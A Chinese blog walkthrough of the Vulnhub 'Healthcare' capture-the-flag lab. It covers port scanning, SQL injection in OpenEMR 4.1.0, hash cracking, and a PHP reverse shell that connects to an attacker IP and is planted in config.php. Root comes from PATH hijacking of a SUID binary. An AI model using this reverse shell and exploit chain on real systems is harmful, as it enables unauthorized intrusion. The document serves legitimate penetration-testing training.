Vulnhub Healthcare靶机教程

7 篇文章 0 订阅
4 篇文章 0 订阅

Healthcare靶机教程

要求

准备一台kail和Healthcare靶机
虚拟机网络为NAT模式

目标信息

难度等级:中等
获得两个标志:user.txt和root.txt。

渗透

我们启动靶机进入登录界面
在这里插入图片描述
这个就是我们要渗透的靶机

信息收集

  1. 启动靶机后进入kali使用nmap工具进行端口扫描靶机所在的网段 nmap -A 10.4.7.0/24
    在这里插入图片描述

  2. 在这里获得了目标机的ip地址为10.4.7.5,以及其开放的端口号为 21 、80,所对应的服务是http和ftp
    在这里插入图片描述

  3. 既然开放着21端口那我们尝试ftp匿名登录
    在这里插入图片描述

  4. 发现该ftp服务未开启匿名登录
    在这里插入图片描述

  5. 那我们从网站入手在浏览器输入10.4.7.5回车进入网站
    在这里插入图片描述

  6. 可以看到一个输入框貌似可以输入邮箱那我们输入邮箱进行尝试
    在这里插入图片描述
    可以看到并没有什么反应但是看到usr上的网址是有变化,尝试sql注入

  7. 输入单引号闭合但是没什么反应

在这里插入图片描述
也找不到其他线索了
8. 进入返回kali对网站的敏感目录进行扫描 我这里使用的是gobuster工具
gobuster dir -r -u http://10.4.7.5/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-big.txt -x .html,.php
dir 为传统的目录爆破模式,-r 为重定向 -u指定网址 -w 字典位置 -x为扫描类型
在这里插入图片描述
9.在扫描过程中有被爆出来的敏感目录我们进行排查看看是否有有用的信息
因为.html /index.html都为网址主页就不查看了
查看http://10.4.7.5/favicon发现是一个图标
在这里插入图片描述
再来查看http://10.4.7.5/robots
在这里插入图片描述
在里面我们发现有提示几个目录分别试试
查看过后发现基本上都是找不到对象以及目录只能在本地访问

在这里插入图片描述
等gobuster扫完之后发现又扫出一个敏感目录
在这里插入图片描述
9. 我们输入网址进入网站http://10.4.7.5/openemr在这里插入图片描述
发现是一个登录界面
10. 输入弱口令进行登录admin:admin
在这里插入图片描述
提示账号密码无效,看到=也尝试sql注入也没有成功
然后上网搜索了一下OpenEMR v4.1.0这个版本发现是有漏洞的
在这里插入图片描述
这是一个sql注入漏洞观察这个源代码找到了它的注入点在这里插入图片描述
11. 验证一下这个版本是否存在这个漏洞使用sqlmap进行数据库枚举库
sqlmap -u "http://10.4.7.5/openemr/interface/login/validateUser.php?u=" -dbs
-u参数为指定网址 -dbs 为枚举库在这里插入图片描述
可以看到数据库已经被枚举出来了说明是有这个漏洞我们可以直接继续枚举或者下载漏洞进行使用
在经过0.1s的内心挣扎中我果断选择省事的漏洞OpenEMR v4.1.0
12. 下载完成后复制到kali里
在这里插入图片描述
这是一个python文件漏洞编号是49742vim查看一下
在这里插入图片描述
13. 将程序里的网址改为目标机的IP 按i键是插入 esc键是退出插入 shift+: 输入wq保存
在这里插入图片描述
14. 运行python文件python3 49742.py
在这里插入图片描述
这里比较慢等待枚举账号密码
15.枚举出来账号和密码但是是md5加密

在这里插入图片描述
16.将密钥复制 新建一个终端输入vim md5.txt
在这里插入图片描述
进入之后按CTRL+shift+v粘贴然后wq保存
在这里插入图片描述
17.使用John命令进行破解密钥 john md5.txt在这里插入图片描述
破解完成账号密码是admin:ackbar
18.返回网站进行登录在这里插入图片描述
登录成功继续信息收集
19.经过查找发现有一个可以上传文件的地方
在这里插入图片描述
博主英语不好就使用了翻译
我们试着上传一个php文件里面有我写好的大马文件

<?php
$ip='10.4.7.3';
$port=10002;
$sock = fsockopen($ip, $port);
$descriptorspec = array(
0 => $sock,
1 => $sock,
2 => $sock
);
$process = proc_open('/bin/sh', $descriptorspec, $pipes);
proc_close($process);
?>

在这里插入图片描述
进行上传
在这里插入图片描述
上传好后使用路径进行访问
在这里插入图片描述
大概猜测路径为http://10.4.7.5/openemr/sites/default/bill.php
访问之后发现没有用
在这里插入图片描述
但是在这里有一个config.php的选项
在这里插入图片描述
尝试了一下这个居然可以访问
在这里插入图片描述
那我们将反弹shell写在这个里面保存!!! 千万不要删除原文件在这里插入图片描述重新访问之后发现弹进来了在这里插入图片描述

提权

反shell进来以后给加个壳python -c "import pty;pty.spawn('/bin/bash')"方便我们操作
在这里插入图片描述
我们进入home目录下寻找线索在almirant用户的目录下发现了第一枚旗子
在这里插入图片描述
在查找已经找不到扫描信息了
我们查找一下二进制文件看是否存在着特殊权限位的文件可以让我们提权find / -perm -u=s -type f 2>/dev/null
在这里插入图片描述
我们看一下这文件是否能执行
在这里插入图片描述
发现可以执行

可以看到这是一个健康检查文件我们用strings命令查看一下能够打印出来的字符
在这里插入图片描述
可以看到下面的的内容是有被执行的 并且这个文件所有者为root这样的我们创建一个ifconfig文件里面写上shell想办法让他执行我们创建的文件就可以获得root权限了
我们进入/tmp目录下因为tmp目录所有用户都可以在这里创建文件 echo '/bin/bash' > ifconfig 因为有字符所有加’’ 防止出错

在这里插入图片描述
我们查看一下是否写入
在这里插入图片描述
接下来就让系统优先执行这里用到一个环境变量提权
环境变量提权具体意思是什么呢
就是使用export设置一个临时的环境变量
那么系统在执行文件的过程中没有加绝对路径那么就会默认去找环境变量里所设置的路径
这个路径下的文件又恰好是我们写的 这样就会执行文件的时候就会找到我们的文件执行里面的命令

为了保证文件可以顺利执行我们给文件把权限拉到最高 chmod 777 ifconfig

在这里插入图片描述
接下来设置临时环境变量 export PATH=/tmp:$PATH
在这里插入图片描述
我们再次执行这个健康检查文件/usr/bin/healthcheck
在这里插入图片描述
发现我们已经是root用户了
cd 到root的家目录下cd /root
在这里插入图片描述
less root.txt 拿下最后一面旗子
在这里插入图片描述

总结

这个靶机很基础没有什么难度,重要的是掌握工具的使用以及变量提权的方法

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值